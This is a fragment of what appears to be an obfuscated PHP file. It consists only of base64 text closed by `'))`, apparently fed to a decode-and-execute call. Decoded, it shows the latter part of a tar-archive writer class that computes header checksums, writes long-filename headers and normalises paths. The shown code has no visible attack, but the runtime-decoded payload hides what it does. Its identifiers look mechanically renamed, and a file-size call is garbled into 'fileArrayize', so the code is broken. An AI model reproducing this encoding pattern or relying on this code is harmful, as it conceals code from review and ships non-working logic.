c2ggPT0gMjU2KSAmJiAoJGhlYWRlclsnaW50ZWdyaXR5SGFzaCddID09IDApKSAJICAgICByZXR1cm4gdHJ1ZTsNCgkgICAgIAkgICAgIAkgICAgICR0aGlzLT5mYWlsdXJlTG9nc1tdID0gX18oJ0Vycm9yIGludGVncml0eUhhc2ggZm9yIGZpbGUgJykuJHVucGFja19kYXRhWydmaWxlbmFtZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KDQoJICAgICAJICAgICB9DQoNCg0KDQoJICAgICAJICAgICBpZiAoKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPSAkdW5wYWNrX2RhdGFbJ3R5cGVmbGFnJ10pID09ICc1JykJICAgICAkaGVhZGVyWydzaXplJ10gPSAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkaGVhZGVyWydmaWxlbmFtZSddID0gdHJpbSgkdW5wYWNrX2RhdGFbJ2ZpbGVuYW1lJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkaGVhZGVyWydtb2RlJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ21vZGUnXSkpOw0KCSAgICAgCSAgICAgJGhlYWRlclsnYWNjb3VudElkJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ2FjY291bnRJZCddKSk7DQoJICAgICAJICAgICAkaGVhZGVyWydncm91cF9pZCddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWydncm91cF9pZCddKSk7DQoNCgkgICAgIAkgICAgICRoZWFkZXJbJ3NpemUnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsnc2l6ZSddKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJGhlYWRlclsndGltZSddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWyd0aW1lJ10pKTsNCg0KCSAgICAgCSAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICB9DQoNCg0KDQoJICAgICBmdW5jdGlvbiBpbnNlcnRGaWxlSGVhZGVyKCRmaWxlbmFtZSwgJGtlZXBfZmlsZW5hbWUpew0KDQoJICAgICAJICAgICAkcGFja0YgPSAnYTEwMGE4YThhOGExMkExMic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJHBhY2tMID0gJ2ExYTEwMGE2YTJhMzJhMzJhOGE4YTE1NWExMic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgaWYgKHN0cmxlbigka2VlcF9maWxlbmFtZSk8PTApICRrZWVwX2ZpbGVuYW1lID0gJGZpbGVuYW1lOw0KCSAgICAgCSAgICAgJGZpbGVuYW1lX3JlYWR5ID0gJHRoaXMtPmNvbnN0cnVjdEZpbGVQYXRoKCRrZWVwX2ZpbGVuYW1lKTsNCg0KDQoJICAgICAJICAgICBpZiAoc3RybGVuKCRmaWxlbmFtZV9yZWFkeSkgPiA5OSl7CSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgLy93cml0ZSBsb25nIGhlYWRlcg0KDQoJICAgICAJICAgICAkZGF0YUZpcnN0ID0gcGFjaygkcGFja0YsICcuLy4vTG9uZ0xpbmsnLCAwLCAwLCAwLCBzcHJpbnRmKCclMTFzICcsIERlY09jdChzdHJsZW4oJGZpbGVuYW1lX3JlYWR5KSkpLCAwKTsNCg0KCSAgICAgCSAgICAgJGRhdGFMYXN0ID0gcGFjaygkcGFja0wsICdMJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJyk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgIC8vICBDYWxjdWxhdGUgdGhlIGludGVncml0eUhhc2gNCg0KCSAgICAgCSAgICAgJGludGVncml0eUhhc2ggPSAwOw0KICAgICAgICAvLyAgRmlyc3QgcGFydCBvZiB0aGUgaGVhZGVyDQoJICAgICAJICAgICBmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspDQoNCgkgICAgIAkgICAgIAkgICAgICRpbnRlZ3JpdHlIYXNoICs9IG9yZChzdWJzdHIoJGRhdGFGaXJzdCwgJGksIDEpKTsNCg0KICAgICAgICAvLyAgSWdub3JlIHRoZSBpbnRlZ3JpdHlIYXNoIHZhbHVlIGFuZCByZXBsYWNlIGl0IGJ5ICcgJyAoc3BhY2UpDQoNCgkgICAgIAkgICAgIGZvciAoJGkgPSAxNDg7ICRpIDwgMTU2OyAkaSsrKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgICRpbnRlZ3JpdHlIYXNoICs9IG9yZCgnICcpOw0KDQogICAgICAgIC8vICBMYXN0IHBhcnQgb2YgdGhlIGhlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgZm9yICgkaSA9IDE1NiwgJGo9MDsgJGkgPCA1MTI7ICRpKyssICRqKyspDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgICRpbnRlZ3JpdHlIYXNoICs9IG9yZChzdWJzdHIoJGRhdGFMYXN0LCAkaiwgMSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgIC8vICBXcml0ZSB0aGUgZmlyc3QgMTQ4IGJ5dGVzIG9mIHRoZSBoZWFkZXIgaW4gdGhlIGFyY2hpdmUNCgkgICAgIAkgICAgICR0aGlzLT53cml0ZURhdGFTZWdtZW50KCRkYXRhRmlyc3QsIDE0OCk7DQogICAgICAgIC8vICBXcml0ZSB0aGUgY2FsY3VsYXRlZCBpbnRlZ3JpdHlIYXNoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJGludGVncml0eUhhc2ggPSBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRpbnRlZ3JpdHlIYXNoKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJGJpbmFyeURhdGEgPSBwYWNrKCdhOCcsICRpbnRlZ3JpdHlIYXNoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJHRoaXMtPndyaXRlRGF0YVNlZ21lbnQoJGJpbmFyeURhdGEsIDgpOw0KDQogICAgICAgIC8vICBXcml0ZSB0aGUgbGFzdCAzNTYgYnl0ZXMgb2YgdGhlIGhlYWRlciBpbiB0aGUgYXJjaGl2ZQ0KDQoJICAgICAJICAgICAkdGhpcy0+d3JpdGVEYXRhU2VnbWVudCgkZGF0YUxhc3QsIDM1Nik7DQoNCg0KDQoJICAgICAJICAgICAkaW50ZXJtZWRpYXRlRmlsZW5hbWUgPSAkdGhpcy0+Y29uc3RydWN0RmlsZVBhdGgoJGZpbGVuYW1lX3JlYWR5KTsNCg0KCSAgICAgCSAgICAgJGkgPSAwOw0KCSAgICAgCSAgICAgCSAgICAgd2hpbGUgKCgkYnVmZmVyID0gc3Vic3RyKCRpbnRlcm1lZGlhdGVGaWxlbmFtZSwgKCgkaSsrKSo1MTIpLCA1MTIpKSAhPSAnJyl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGJpbmFyeURhdGEgPSBwYWNrKCdhNTEyJywgJGJ1ZmZlcik7DQoJICAgICAJICAgICAJICAgICAJICAgICAkdGhpcy0+d3JpdGVEYXRhU2VnbWVudCgkYmluYXJ5RGF0YSk7DQoNCgkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgcmV0dXJuIHRydWU7DQoNCgkgICAgIAkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJGZpbGVfaW5mbyA9IHN0YXQoJGZpbGVuYW1lKTsNCgkgICAgIAkgICAgIGlmIChAaXNfZGlyKCRmaWxlbmFtZSkpew0KDQoJICAgICAJICAgICAJICAgICAkdHlwZWZsYWcgPSAnNSc7DQoNCgkgICAgIAkgICAgIAkgICAgICRzaXplID0gc3ByaW50ZignJTExcyAnLCBEZWNPY3QoMCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIH0gZWxzZSB7DQoNCgkgICAgIAkgICAgIAkgICAgICR0eXBlZmxhZyA9ICcnOw0KDQoJICAgICAJICAgICAJICAgICBjbGVhcnN0YXRjYWNoZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAkc2l6ZSA9IHNwcmludGYoJyUxMXMgJywgRGVjT2N0KGZpbGVBcnJheWl6ZSgkZmlsZW5hbWUpKSk7DQoNCgkgICAgIAkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgICRkYXRhRmlyc3QgPSBwYWNrKCRwYWNrRiwgJGZpbGVuYW1lX3JlYWR5LCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KGZpbGVwZXJtcygkZmlsZW5hbWUpKSksIHNwcmludGYoJyU2cyAnLCBEZWNPY3QoJGZpbGVfaW5mb1s0XSkpLCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRmaWxlX2luZm9bNV0pKSwgJHNpemUsIHNwcmludGYoJyUxMXMnLCBEZWNPY3QoZmlsZW10aW1lKCRmaWxlbmFtZSkpKSk7DQoNCgkgICAgIAkgICAgICRkYXRhTGFzdCA9IHBhY2soJHBhY2tMLCAkdHlwZWZsYWcsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycpOw0KCSAgICAgCSAgICAgJGludGVncml0eUhhc2ggPSAwOw0KDQoJICAgICAJICAgICBmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspICRpbnRlZ3JpdHlIYXNoICs9IG9yZChzdWJzdHIoJGRhdGFGaXJzdCwgJGksIDEpKTsNCgkgICAgIAkgICAgIGZvciAoJGkgPSAxNDg7ICRpIDwgMTU2OyAkaSsrKSAkaW50ZWdyaXR5SGFzaCArPSBvcmQoJyAnKTsNCgkgICAgIAkgICAgIGZvciAoJGkgPSAxNTYsICRqID0gMDsgJGkgPCA1MTI7ICRpKyssICRqKyspICRpbnRlZ3JpdHlIYXNoICs9IG9yZChzdWJzdHIoJGRhdGFMYXN0LCAkaiwgMSkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkdGhpcy0+d3JpdGVEYXRhU2VnbWVudCgkZGF0YUZpcnN0LCAxNDgpOw0KDQoJICAgICAJICAgICAkaW50ZWdyaXR5SGFzaCA9IHNwcmludGYoJyU2cyAnLCBEZWNPY3QoJGludGVncml0eUhhc2gpKTsNCg0KCSAgICAgCSAgICAgJGJpbmFyeURhdGEgPSBwYWNrKCdhOCcsICRpbnRlZ3JpdHlIYXNoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJHRoaXMtPndyaXRlRGF0YVNlZ21lbnQoJGJpbmFyeURhdGEsIDgpOw0KDQoJICAgICAJICAgICAkdGhpcy0+d3JpdGVEYXRhU2VnbWVudCgkZGF0YUxhc3QsIDM1Nik7DQoJICAgICAJICAgICByZXR1cm4gdHJ1ZTsNCgkgICAgIH0NCg0KDQoJICAgICBmdW5jdGlvbiBpbml0aWF0ZUZpbGVXcml0ZSgpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBpZiAoJHRoaXMtPmlzRmlsZUNvbXByZXNzZWQpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAkdGhpcy0+aW50ZXJtZWRpYXRlRmlsZSA9IGd6b3BlbigkdGhpcy0+YXJjaGl2ZUxhYmVsLCAnd2I5ZicpOw0KDQoJICAgICAJICAgICBlbHNlDQoNCgkgICAgIAkgICAgIAkgICAgICR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlID0gZm9wZW4oJHRoaXMtPmFyY2hpdmVMYWJlbCwgJ3diJyk7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBpZiAoISgkdGhpcy0+aW50ZXJtZWRpYXRlRmlsZSkpew0KCSAgICAgCSAgICAgCSAgICAgJHRoaXMtPmZhaWx1cmVMb2dzW10gPSBfXygnQ2Fubm90IHdyaXRlIHRvIGZpbGUnKS4nICcuJHRoaXMtPmFyY2hpdmVMYWJlbDsNCg0KCSAgICAgCSAgICAgCSAgICAgcmV0dXJuIGZhbHNlOw0KDQoJICAgICAJICAgICB9DQoJICAgICAJICAgICByZXR1cm4gdHJ1ZTsNCgkgICAgIH0NCg0KCSAgICAgZnVuY3Rpb24gcmV0cmlldmVEYXRhQmxvY2soKXsNCg0KCSAgICAgCSAgICAgaWYgKGlzX3Jlc291cmNlKCR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlKSl7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmICgkdGhpcy0+aXNGaWxlQ29tcHJlc3NlZCkNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGJsb2NrID0gZ3pyZWFkKCR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlLCA1MTIpOw0KCSAgICAgCSAgICAgCSAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAkYmxvY2sgPSBmcmVhZCgkdGhpcy0+aW50ZXJtZWRpYXRlRmlsZSwgNTEyKTsNCg0KCSAgICAgCSAgICAgfSBlbHNlCSAgICAgJGJsb2NrID0gJyc7DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIHJldHVybiAkYmxvY2s7DQoJICAgICB9DQoNCg0KDQoJICAgICBmdW5jdGlvbiB3cml0ZURhdGFTZWdtZW50KCRkYXRhLCAkbGVuZ3RoID0gMCl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBpZiAoaXNfcmVzb3VyY2UoJHRoaXMtPmludGVybWVkaWF0ZUZpbGUpKXsNCgkgICAgIAkgICAgIA0KDQoJICAgICAJICAgICAJICAgICBpZiAoJGxlbmd0aCA9PT0gMCl7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgkdGhpcy0+aXNGaWxlQ29tcHJlc3NlZCkNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIGd6cHV0cygkdGhpcy0+aW50ZXJtZWRpYXRlRmlsZSwgJGRhdGEpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGVsc2UNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgZnB1dHMoJHRoaXMtPmludGVybWVkaWF0ZUZpbGUsICRkYXRhKTsNCgkgICAgIAkgICAgIAkgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgkdGhpcy0+aXNGaWxlQ29tcHJlc3NlZCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICBnenB1dHMoJHRoaXMtPmludGVybWVkaWF0ZUZpbGUsICRkYXRhLCAkbGVuZ3RoKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGVsc2UNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIGZwdXRzKCR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlLCAkZGF0YSwgJGxlbmd0aCk7DQoNCgkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgfQ0KDQoJICAgICB9DQoNCg0KDQoJICAgICBmdW5jdGlvbiBjbG9zZVRlbXBGaWxlU3RyZWFtKCl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgaWYgKGlzX3Jlc291cmNlKCR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlKSl7DQoJICAgICAJICAgICAJICAgICBpZiAoJHRoaXMtPmlzRmlsZUNvbXByZXNzZWQpDQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGd6Y2xvc2UoJHRoaXMtPmludGVybWVkaWF0ZUZpbGUpOw0KDQoJICAgICAJICAgICAJICAgICBlbHNlDQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGZjbG9zZSgkdGhpcy0+aW50ZXJtZWRpYXRlRmlsZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQoNCgkgICAgIAkgICAgIAkgICAgICR0aGlzLT5pbnRlcm1lZGlhdGVGaWxlID0gMDsNCg0KCSAgICAgCSAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICB9DQoNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBmdW5jdGlvbiBjb25zdHJ1Y3RGaWxlUGF0aCgkcGF0aCl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGlmIChzdHJsZW4oJHBhdGgpPjApew0KDQoJICAgICAJICAgICAJICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KDQoJICAgICAJICAgICAJICAgICAkcGFydFBhdGggPSBleHBsb2RlKCcvJywgJHBhdGgpOw0KCSAgICAgCSAgICAgCSAgICAgJGVscyA9IGNvdW50KCRwYXJ0UGF0aCktMTsNCg0KCSAgICAgCSAgICAgCSAgICAgZm9yICgkaSA9ICRlbHM7ICRpPj0wOyAkaS0tKXsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCRwYXJ0UGF0aFskaV0gPT0gJy4nKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vICBJZ25vcmUgdGhpcyBkaXJlY3RvcnkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkcGFydFBhdGhbJGldID09ICcuLicpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaS0tOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQoJICAgICAJICAgICAJICAgICAJICAgICBlbHNlaWYgKCgkcGFydFBhdGhbJGldID09ICcnKSBhbmQgKCRpIT0kZWxzKSBhbmQgKCRpIT0wKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CSAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJHJlc3VsdCA9ICRwYXJ0UGF0aFskaV0uKCRpIT0kZWxzID8gJy8nLiRyZXN1bHQgOiAnJyk7DQoJICAgICAJICAgICAJICAgICB9DQoJICAgICAJICAgICB9IGVsc2UgJHJlc3VsdCA9ICcnOw0KDQoJICAgICAJICAgICANCg0KCSAgICAgCSAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgfQ0KfQ0KPz4='))
